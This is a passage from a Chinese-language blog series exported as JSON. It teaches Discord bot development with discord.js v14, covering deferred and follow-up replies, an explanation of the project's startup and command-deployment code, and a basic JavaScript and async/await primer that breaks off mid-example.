但是,如果您有一个命令执行的任务需要超过 3 秒钟才能回复,该怎么办?\u003c/p\u003e\n\u003cp\u003e在这种情况下,你可以使用 \u003ccode\u003eCommandInteraction#deferReply()\u003c/code\u003e 方法。该方法触发 “\u0026lt;某某某应用程序\u0026gt; 正在响应......” 消息(由 Discord 指定,且与用户语言设置有关)并充当初始响应。 这使你可以在 15 分钟内完成任务,然后再做出响应。\u003c/p\u003e\n\u003cp\u003e由于调用延迟响应回复,会有个初始响应回复,所以你必须利用修改响应回复功能,通过修改初始回复,来进行真正的回复。\u003c/p\u003e\n\u003cp\u003e比如来个 \u003ccode\u003ecommands/pingDeferred.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout; // 注意这里!!!!!!\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping4')\n\t\t.setDescription('Replies with Pong, but deferred!'),\n\tasync execute(interaction) {\n\t\n\t // 延迟回复,此时会有个初始回复“应用程序正在响应”\n\t await interaction.deferReply();\n\t \n\t // 利用导入的 wait,故意等待 4000 毫秒\n\t\tawait wait(4000);\n\t\t\n\t\t// 进行真正的回复\n\t\tawait interaction.editReply('Pong!');\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172408926-2108786535.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172414298-742066049.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多重响应 Follow-ups\u003c/h3\u003e\n\u003cp\u003e如果你想发送多个响应而不是一个响应怎么办? 您可以使用 \u003ccode\u003eCommandInteraction#followUp()\u003c/code\u003e 发送多个响应。\u003c/p\u003e\n\u003cp\u003e在初始响应之后,交互令牌的有效期为 15 分钟,因此这是您可以编辑响应和发送后续消息的时间范围。\u003c/p\u003e\n\u003cp\u003e比如我们来个 \u003ccode\u003ecommands/pingFollowUps.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping5')\n\t\t.setDescription('Replies with Pong, but multiple responses!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t\tawait interaction.followUp({content: \"Pong again!\", ephemeral: true});\n\t\tawait interaction.followUp({content: \"Pong again again!\", ephemeral: false});\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711173058563-931188594.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e注意到我们的 Follow-ups 都是对机器人初始响应的回复,而不是对用户斜杠命令的回复。\u003c/p\u003e\n\u003ch3\u003e回复带上超链接\u003c/h3\u003e\n\u003cp\u003e我们可以给 \u003ccode\u003econtent\u003c/code\u003e 字段使用 \u003ccode\u003e[text](http://site.com)\u003c/code\u003e 这样的形式来设置一个超链接。\u003c/p\u003e\n\u003cp\u003e比如:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping6')\n\t\t.setDescription('Replies with Pong, but with hyperlink!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\n\t\t \"Pong!\\n\" + \"[bilibili](https://www.bilibili.com/video/BV1GJ411x7h7)\"\n\t\t);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711174526099-690908800.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-4/"},{"title":"Bot in Discord with discord.js (3)","time":"2022-07-10T00:00:00Z","content":"\u003ch2\u003eChapter 4 - 对 Chapter 2 代码的解释\u003c/h2\u003e\n\u003cp\u003e我们在系列文章(1) 中,完成了简单的机器人的建立与交互。\u003c/p\u003e\n\u003cp\u003e下面,我们开始针对 discord.js V14.0.3 的特性和方法,通过 Discord 机器人的编写实践,来掌握 discord.js 的使用。\u003c/p\u003e\n\u003ch3\u003e首先,从 目录结构 开始看起。\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003ediscord_bot_2022\n├─commands\n├─events\n├─node_modules\n├─.gitignore\n├─cmdPaths.js\n├─config.json\n├─deploy_commands.js\n├─index.js\n├─package.json\n├─package-lock.json\n├─pnmp-lock.yaml\n└─yarn.lock\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e文件 \u003ccode\u003eindex.js\u003c/code\u003e 是我们的机器人启动器。\n文件 \u003ccode\u003edeploy_commands.js\u003c/code\u003e 是用来注册部署机器人斜杠命令的。\n文件 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 用于存储斜杠命令所在的目录路径。\n文件 \u003ccode\u003econfig.json\u003c/code\u003e 用于存储机密设置(比如机器人 token 和各个 id)。\n文件 \u003ccode\u003e.gitignore\u003c/code\u003e 是让 Git 屏蔽某些文件的上传(如果你不需要使用 Git 上传到 Github 或 bitbucket 等代码托管平台,则这个文件没有作用)。\n文件夹 \u003ccode\u003ecommands\u003c/code\u003e 用于存储我们需要用到的命令,当然里面都是 js 文件。\n文件夹 \u003ccode\u003eevents\u003c/code\u003e 用于存储事件的文件夹,目前我们只存了俩,其实这俩就够了。\n文件夹 \u003ccode\u003enode_modules\u003c/code\u003e 用于存放项目所依赖的外部模块的缓存,不要动它。\n其余没谈到的文件各司其职,也不要动它们。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 和 \u003ccode\u003eready.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eevents/interatcionCreate.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// module.exports 提供了暴露接口的方法\nmodule.exports = { \n\n // 指明 name\n name: \"interactionCreate\",\n\n\t// module 暴露了名为 execute 的函数,接受一个 discord.js interaction 对象\n execute(interaction) { \n \n // 控制台输出哪位用户在哪个频道触发了一次交互(斜杠命令)\n console.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eevents/ready.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// module.exports 提供了暴露接口的方法\nmodule.exports = { \n\n // 指明 name\n name: \"ready\", \n \n // 指明该 module 在程序全程只能调用一次\n once: true, \n\n\t// 函数 execute\n execute(client) { \n \n // 控制台输出机器人以什么身份登录 discord 的\n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003ename\u003c/code\u003e 属性说明该文件用于哪个事件,而 \u003ccode\u003eonce\u003c/code\u003e 属性是一个布尔值,用于指定事件是否应该只运行一次。 \u003ccode\u003eexecute\u003c/code\u003e 函数用于你的事件逻辑,只要事件发出,事件处理程序就会调用它。\u003c/p\u003e\n\u003cp\u003e在我们自己写模块的时候,需要在模块最后写好模块接口,声明这个模块对外暴露什么内容,module.exports 提供了暴露接口的方法。\u003c/p\u003e\n\u003cp\u003emodule.exports 是你在 Node.js 中导出数据的方式,以便你可以在其他文件中 require() 它。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003ecmdPaths.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e文件的 data 域内只有一个数组,用于存储我们需要注册斜杠命令的 js 源代码的文件夹位置。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果你需要添加更多文件夹的话,可以修改成类似这样子:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\", \"./commands/utils\", \"./commands/moderations\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这些文件夹必须存在,否则会报错。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003eindex.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e咱们分开来看\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require('fs'); \nconst { Client, Collection, GatewayIntentBits } = require('discord.js'); \nconst { token } = require('./config.json'); \nconst { InteractionType } = require(\"discord-api-types/v10\"); \n \nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent] }); \nconst eventFiles = fs.readdirSync('./events').filter(file =\u0026gt; file.endsWith('.js')); \n\nfor (const file of eventFiles) {\n const event = require(`./events/${file}`);\n if (event.once) {\n client.once(event.name, (...args) =\u0026gt; event.execute(...args));\n } else {\n client.on(event.name, (...args) =\u0026gt; event.execute(...args));\n }\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003efs\u003c/code\u003e 模块能够以标准 POSIX 函数为模型的方式与文件系统进行交互。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eClient\u003c/code\u003e 来自 discord.js,是一个继承来的 class(类),是与 Discord API 交互的主要枢纽,也是任何机器人的起点。Client 类具有十分多的属性、方法和事件。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eCollection\u003c/code\u003e 来自 discord.js,是一个实用程序类,是一个带有其他实用方法的 Map。它扩展了 JavaScript 的原生 Map 类,因此它具有所有 Map 功能。Map 允许在唯一键和它们的值之间建立关联。 Collection 上的许多方法对应于它们在 Array 中的同名方法。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eGatewayIntentBits\u003c/code\u003e 来自 discord.js。Gateway Intents是由 Discord 引入的,因此机器人开发人员可以根据需要运行的数据来选择他们的机器人接收的事件。Intent 是一组命名的预定义 WebSocket 事件,discord.js 客户端将接收这些事件。如果你没有提供 Intent,discord.js 会抛出一个错误。\u003c/p\u003e\n\u003cp\u003e接着读取 \u003ccode\u003econfig.json\u003c/code\u003e 到对象 token 里。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eInteractionType\u003c/code\u003e 是预先定义好的 Interaction 的类型表。Interaction Type 有 5 种,名称及其对应值分别是 PING(1)、APPLICATION_COMMAND(2)、MESSAGE_COMPONENT(3)、APPLICATION_COMMAND_AUTOCOMPLETE(4)、MODAL_SUBMIT(5)。\u003c/p\u003e\n\u003cp\u003e接下来我们 new 了一个 client,它的类型是 Client。这是你为 Discord 机器人创建客户端实例并登录 Discord 的方式。 \u003ccode\u003eGatewayIntentBits.Guilds\u003c/code\u003e 这个 Intent 选项是你的 client 正常工作所必需的,其余的是为了后续代码而添加的。\u003c/p\u003e\n\u003cp\u003e接下来我们从 index.js 所在的目录(即工程目录)下的 \u003ccode\u003eevents\u003c/code\u003e 文件夹读取所有以 \u003ccode\u003e.js\u003c/code\u003e 为文件名结尾的文件名到 \u003ccode\u003eeventFiles\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e后面的 for 循环就是遍历 \u003ccode\u003eeventFiles\u003c/code\u003e 里的文件名所对应文件,如果模块具有 once 属性,则在 client 启动时只执行一次就完事,这里其实只有 \u003ccode\u003eevents\\ready.js\u003c/code\u003e 的模块;反之,则保持执行,退出了也要再次调用起来。这里只有 \u003ccode\u003eevents\\interactionCreate.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nclient.commands = new Collection(); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n const command = require(`./${file}`); \n client.commands.set(command.data.name, command); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n client.commands.set(command.akaNames[i], command); \n } \n } \n } \n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面的代码中,我们 new 了一个 Collection 到 client.commands 里。\u003c/p\u003e\n\u003cp\u003e后面的读取 js 文件和上面从 events 文件夹读取类似。从 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 的 data 域里,读取预先记录好文件夹路径到 \u003ccode\u003ecmdPaths\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e接着读取 \u003ccode\u003ecmdPaths\u003c/code\u003e 所存储的所有文件夹下面的所有 js 文件的相对路径名,保存到数组 \u003ccode\u003ecommandFiles[i][j]\u003c/code\u003e 里。i 是有关于文件夹的迭代下标,j 是关于同一 i 时的文件我迭代下标。\u003c/p\u003e\n\u003cp\u003eakaNames 是用来给同一个斜杠命令起不同命令名用的,就像磁盘上的同一文件可以用于多个文件名那样。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nclient.once('ready', () =\u0026gt; {}); \nclient.on('interactionCreate', async interaction =\u0026gt; { \n if (interaction.type !== InteractionType.ApplicationCommand) return; \n \n const command = client.commands.get(interaction.commandName); \n \n if (!command) return; \n \n try { \n await command.execute(interaction); \n } catch (error) { \n console.error(error); \n await interaction.reply({ \n content: 'There was an error while executing this command!', \n ephemeral: true \n }); \n } \n});\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面第一行,client 对象准备就绪后,运行所有只执行一遍的 client.once 代码。\u003c/p\u003e\n\u003cp\u003e后面,运行需要保持运行的 cilent.on 代码,这里我们使用的是一个 async 修饰的箭头函数。\u003c/p\u003e\n\u003cp\u003e函数内, \u003ccode\u003einteraction.type !== InteractionType.ApplicationCommand\u003c/code\u003e 用于确认这个 interaction 交互的类型是斜杠命令。如果不是斜杠命令,则返回。要记住,并不是每个交互都是在触发斜杠命令。\u003c/p\u003e\n\u003cp\u003e后面通过 \u003ccode\u003eclient.commands.get()\u003c/code\u003e 方法,使用名称获取到具体是我们的哪个斜杠命令,并将其分配给变量 \u003ccode\u003ecommand\u003c/code\u003e。 如果该命令不存在,它将返回 undefined,然后 return。如果确实存在这个命令,则调用命令的 \u003ccode\u003e.execute()\u003c/code\u003e 方法,并将变量 \u003ccode\u003einteraction\u003c/code\u003e 作为其参数传入。\u003c/p\u003e\n\u003cp\u003e如果 \u003ccode\u003e.execute()\u003c/code\u003e 出现了错误,则将抛出一个异常,并在 Discord 上回复 \u003ccode\u003eThere was an error while executing this command!\u003c/code\u003e,且只有命令发起者和机器人自己能看到。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eclient.login(token);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这行代码就是使用你机器人的令牌登录 Discord。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003edeploy_commands.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e一样,分部分来看。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require(\"fs\"); \nconst { REST } = require('@discordjs/rest'); \nconst { Routes } = require('discord.js'); \nconst { clientId, guildId, token } = require('./config.json');\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eDiscord 允许开发人员注册斜杠命令,这为用户提供了与你的应用程序直接交互的\"一等\"方式。 在能够回复命令之前,你必须先注册它。\u003c/p\u003e\n\u003cp\u003e斜杠命令分为服务器命令(guild commands)、全局命令(global commands)、选项(options)、选项类型(option types)、选择(choices)和子命令(subcommands)。我们刚开始不需要了解这么多。\u003c/p\u003e\n\u003cp\u003e其实上面这四行代码就是导包和导配置。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst commands = []; \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n\tcommandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n\tfor (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n\t\tcommandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n\t} \n}\n\n//console.log(commandFiles); \nfor (const fileArray of commandFiles) { \n\tfor (const file of fileArray) {\n\t\tconsole.log(file); \n\t\tlet command = require(`./${file}`); \n\t\tcommands.push(command.data.toJSON()); \n \n\t\t// if any ‘aka' name exists \n\t\tif (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n\t\t\tfor (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n\t\t\t\tlet akaData = command.data; \n\t\t\t\takaData.name = command.akaNames[i]; \n\t\t\t\tcommands.push(akaData.toJSON()); \n\t\t\t}\n\t\t}\n\t}\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面这就是读取所有 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 里记录的文件夹下的 js 文件。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst rest = new REST({ version: '10' }).setToken(token); \n \nrest.put(Routes.applicationGuildCommands(clientId, guildId), { body: commands }) \n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这里就是根据你的 \u003ccode\u003econfig.json\u003c/code\u003e 的配置来向特定服务器注册命令。成功时,控制台输出 \u003ccode\u003eSuccessfully registered application commands.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e你只需要运行一次 \u003ccode\u003enode deploy_commands.js\u003c/code\u003e 来向单一服务器注册命令。 只有在添加或编辑现有命令时才应再次运行它。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003ecommands/ping.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e我们的第一个斜杠命令就来自 \u003ccode\u003eping.js\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e事实上,决定命令名的不是 js 文件名,而是由各文件 \u003ccode\u003e.setName()\u003c/code\u003e 方法决定。,因此事实上,这些文件名可以随便起。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n\tdata: new SlashCommandBuilder() \n\t\t.setName('ping') \n\t\t.setDescription('Replies with Pong!'), \n\tasync execute(interaction) { \n\t\tawait interaction.reply(\"Pong!\"); \n\t}, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e第一行导包。事实上我们的每个斜杠命令都将需要包 \u003ccode\u003ediscord.js\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e后面暴露数据,new 了个斜杠命令。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setName()\u003c/code\u003e 设置斜杠命令的名称。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setDescription()\u003c/code\u003e 来设置命令的简介描述。\u003c/p\u003e\n\u003cp\u003e通过 async 修饰的 \u003ccode\u003eexecute()\u003c/code\u003e 来执行命令该执行的。这里我们就回复了 \u003ccode\u003ePong!\u003c/code\u003e,注意加上 await 关键字。\u003c/p\u003e\n\u003cp\u003e后面我们还会学到什么是 ephemeral response、如何执行多条回复、如何修改回复、如何删除回复、如何延长回复时间、如何让回复更花哨等。\u003c/p\u003e\n\u003ch3\u003e结语\u003c/h3\u003e\n\u003cp\u003e这样,我们就完成了对 Chapter 2 的代码的解释。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-3/"},{"title":"Bot in Discord with discord.js (2)","time":"2022-07-09T00:00:00Z","content":"\u003ch2\u003eChapter 3 - JavaScript 介绍\u003c/h2\u003e\n\u003ch3\u003eJS 一窥\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e以下内容来自 runoob.com。感谢。侵删。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e数组(Array)字面量\u003c/strong\u003e 定义一个数组:\u003c/p\u003e\n\u003cp\u003e[40, 100, 1, 5, 25, 10]\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e对象(Object)字面量\u003c/strong\u003e 定义一个对象:\u003c/p\u003e\n\u003cp\u003e{firstName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"}\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e函数(Function)字面量\u003c/strong\u003e 定义一个函数:\u003c/p\u003e\n\u003cp\u003efunction myFunction(a, b) { return a * b;}\u003c/p\u003e\n\u003cp\u003eJavaScript 使用关键字 \u003cstrong\u003evar\u003c/strong\u003e 来定义变量, 使用等号来为变量赋值:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar x, length \nx = 5 \nlength = 6\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 语句用于向浏览器发出命令。\u003c/p\u003e\n\u003cp\u003e语句是用分号分隔:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ex = 5 + 6; \ny = x * 10;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e双斜杠 \u003cstrong\u003e//\u003c/strong\u003e 后的内容将会被忽略。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/*\u003c/code\u003e 和 \u003ccode\u003e*/\u003c/code\u003e 所包裹起来的代码块会被忽略。\u003c/p\u003e\n\u003cp\u003eJavaScript 语句可以写在函数内,函数可以重复引用:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e引用一个函数\u003c/strong\u003e = 调用函数(执行函数内的语句)。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunction myFunction(a, b) { \n    return a * b;                                // 返回 a 乘以 b 的结果 \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 中,常见的是驼峰法的命名规则,如 lastName (而不是lastname)。\u003c/p\u003e\n\u003cp\u003eJavaScript 语句通常以一个 \u003cstrong\u003e语句标识符\u003c/strong\u003e 为开始,并执行该语句。\u003c/p\u003e\n\u003cp\u003e语句标识符是保留关键字不能作为变量名使用。\u003c/p\u003e\n\u003cp\u003e下面列出了 JavaScript 语句标识符 (关键字) :\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebreak:用于跳出循环。\u003c/li\u003e\n\u003cli\u003ecatch:语句块,在 try 语句块执行出错时执行 catch 语句块。\u003c/li\u003e\n\u003cli\u003econtinue:跳过循环中的一个迭代。\u003c/li\u003e\n\u003cli\u003edo ... while:执行一个语句块,在条件语句为 true 时继续执行该语句块。\u003c/li\u003e\n\u003cli\u003efor:在条件语句为 true 时,可以将代码块执行指定的次数。\u003c/li\u003e\n\u003cli\u003efor ... in:用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)。\u003c/li\u003e\n\u003cli\u003efunction:定义一个函数\u003c/li\u003e\n\u003cli\u003eif ... else:用于基于不同的条件来执行不同的动作。\u003c/li\u003e\n\u003cli\u003ereturn:退出函数\u003c/li\u003e\n\u003cli\u003eswitch:用于基于不同的条件来执行不同的动作。\u003c/li\u003e\n\u003cli\u003ethrow:抛出(生成)错误 。\u003c/li\u003e\n\u003cli\u003etry:实现错误处理,与 catch 一同使用。\u003c/li\u003e\n\u003cli\u003evar:声明一个变量。\u003c/li\u003e\n\u003cli\u003ewhile:当条件语句为 true 时,执行语句块。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJavaScript 拥有动态类型。这意味着相同的变量可用作不同的类型:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar x;               // x 为 undefined \nvar x = 5;           // 现在 x 为数字 \nvar x = \"John\";      // 现在 x 为字符串\n\ntypeof \"John\"                // 返回 string \ntypeof 3.14                  // 返回 number \ntypeof false                 // 返回 boolean \ntypeof [1,2,3,4]             // 返回 object \ntypeof {name:'John', age:34} // 返回 object\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 对象由花括号分隔。在括号内部,对象的属性以名称和值对的形式 (name : value) 来定义。属性由逗号分隔:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar person = {\n firstname:\"John\",\n lastname:\"Doe\",\n id:5566\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面例子中的对象 (person) 有三个属性:firstname、lastname 以及 id。\u003c/p\u003e\n\u003cp\u003e空格和折行无关紧要。声明可横跨多行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar person={ \nfirstname : \"John\", \nlastname  : \"Doe\", \nid        :  5566 \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对象属性有两种寻址方式:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ename=person.lastname; \nname=person[\"lastname\"];\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的代码创建名为 cars 的数组:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar cars=new Array(); \ncars[0]=\"Saab\"; \ncars[1]=\"Volvo\"; \ncars[2]=\"BMW\";\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e或者 (condensed array):\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar cars=new Array(\"Saab\",\"Volvo\",\"BMW\");\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eundefined 这个值表示变量不含有值。\u003c/p\u003e\n\u003cp\u003e可以通过将变量的值设置为 null 来清空变量。\u003c/p\u003e\n\u003cp\u003e比较运算符在逻辑语句中使用,以测定变量或值是否相等。\u003c/p\u003e\n\u003cp\u003e假设 \u003cstrong\u003ex 等于 5\u003c/strong\u003e:\u003c/p\u003e\n\u003cp\u003ex == 8:\u003cem\u003efalse\u003c/em\u003e;\nx == 5: \u003cem\u003etrue\u003c/em\u003e;\nx == \"5\" :\u003cem\u003etrue\u003c/em\u003e;\nx === \"5\":\u003cem\u003efalse\u003c/em\u003e;\nx === 5:\u003cem\u003etrue\u003c/em\u003e;\nx != 8:\u003cem\u003etrue\u003c/em\u003e;\nx != \"5\":\u003cem\u003efalse\u003c/em\u003e;\nx !== 5:\u003cem\u003efalse\u003c/em\u003e;\nx !== \"5\":\u003cem\u003etrue\u003c/em\u003e;\nx \u0026gt; 8:\u003cem\u003efalse\u003c/em\u003e;\nx \u0026lt; 8:\u003cem\u003etrue\u003c/em\u003e;\nx \u0026gt;= 8:\u003cem\u003efalse\u003c/em\u003e;\nx \u0026lt;= 8:\u003cem\u003etrue\u003c/em\u003e;\nx == undefined:\u003cem\u003efalse\u003c/em\u003e;\nx == null:\u003cem\u003efalse\u003c/em\u003e;\u003c/p\u003e\n\u003cp\u003e假设 y 等于 undefined:\u003c/p\u003e\n\u003cp\u003ey == undefined:\u003cem\u003etrue\u003c/em\u003e\ny == null:\u003cem\u003etrue\u003c/em\u003e\ny === null:\u003cem\u003efalse\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e假设 z 等于 null:\u003c/p\u003e\n\u003cp\u003ez == null:\u003cem\u003etrue\u003c/em\u003e\nz == undefined:\u003cem\u003etrue\u003c/em\u003e\nz === undefined:\u003cem\u003efalse\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e逻辑与:\u0026amp;\u0026amp;\n逻辑或:||\n逻辑非:!\u003c/p\u003e\n\u003ch3\u003easync 和 await\u003c/h3\u003e\n\u003cp\u003e下面的内容来自 CSDN 用户 loftyamb,原文链接 https://blog.csdn.net/weixin_42042017/article/details/109472908 ,感谢。\u003c/p\u003e\n\u003cp\u003e希望在一个函数执行完毕之后才去执行另外一个函数,如何解决?用 async 和 await。\u003c/p\u003e\n\u003cp\u003eawait 只能在async函数中执行,否则会报错。\u003c/p\u003e\n\u003ch3\u003e关于await\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eawait\u003c/code\u003e 的意思就是\u003cstrong\u003e等待\u003c/strong\u003e。它后面可以跟一个表达式。如果是值(如字符串、数字、普通对象等等)的话,返回值就是本身的值。\u003c/li\u003e\n\u003cli\u003e通常使用方式为在后面跟一个 \u003ccode\u003epromise\u003c/code\u003e 对象。\u003ccode\u003eawait\u003c/code\u003e 会等待这个 \u003ccode\u003epromise\u003c/code\u003e 的状态由 \u003ccode\u003epending\u003c/code\u003e 转为 \u003ccode\u003efulfilled\u003c/code\u003e 或者 \u003ccode\u003erejected\u003c/code\u003e。在此期间它会阻塞,延迟执行await语句后面的语句。\u003c/li\u003e\n\u003cli\u003e如果 \u003ccode\u003epromise\u003c/code\u003e 对象的结果是 \u003ccode\u003eresolve\u003c/code\u003e,它会将 \u003ccode\u003eresolve\u003c/code\u003e 的值,作为 \u003ccode\u003eawait\u003c/code\u003e 表达式的运算结果。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e例子\u003c/h4\u003e\n\u003cp\u003e对于一个操作(创建菜单),需要在获取到 token 之后利用 token 才能执行这个操作,那么对应代码如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar token = undefined;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取token\nconst getToken = async () =\u0026gt; {\n 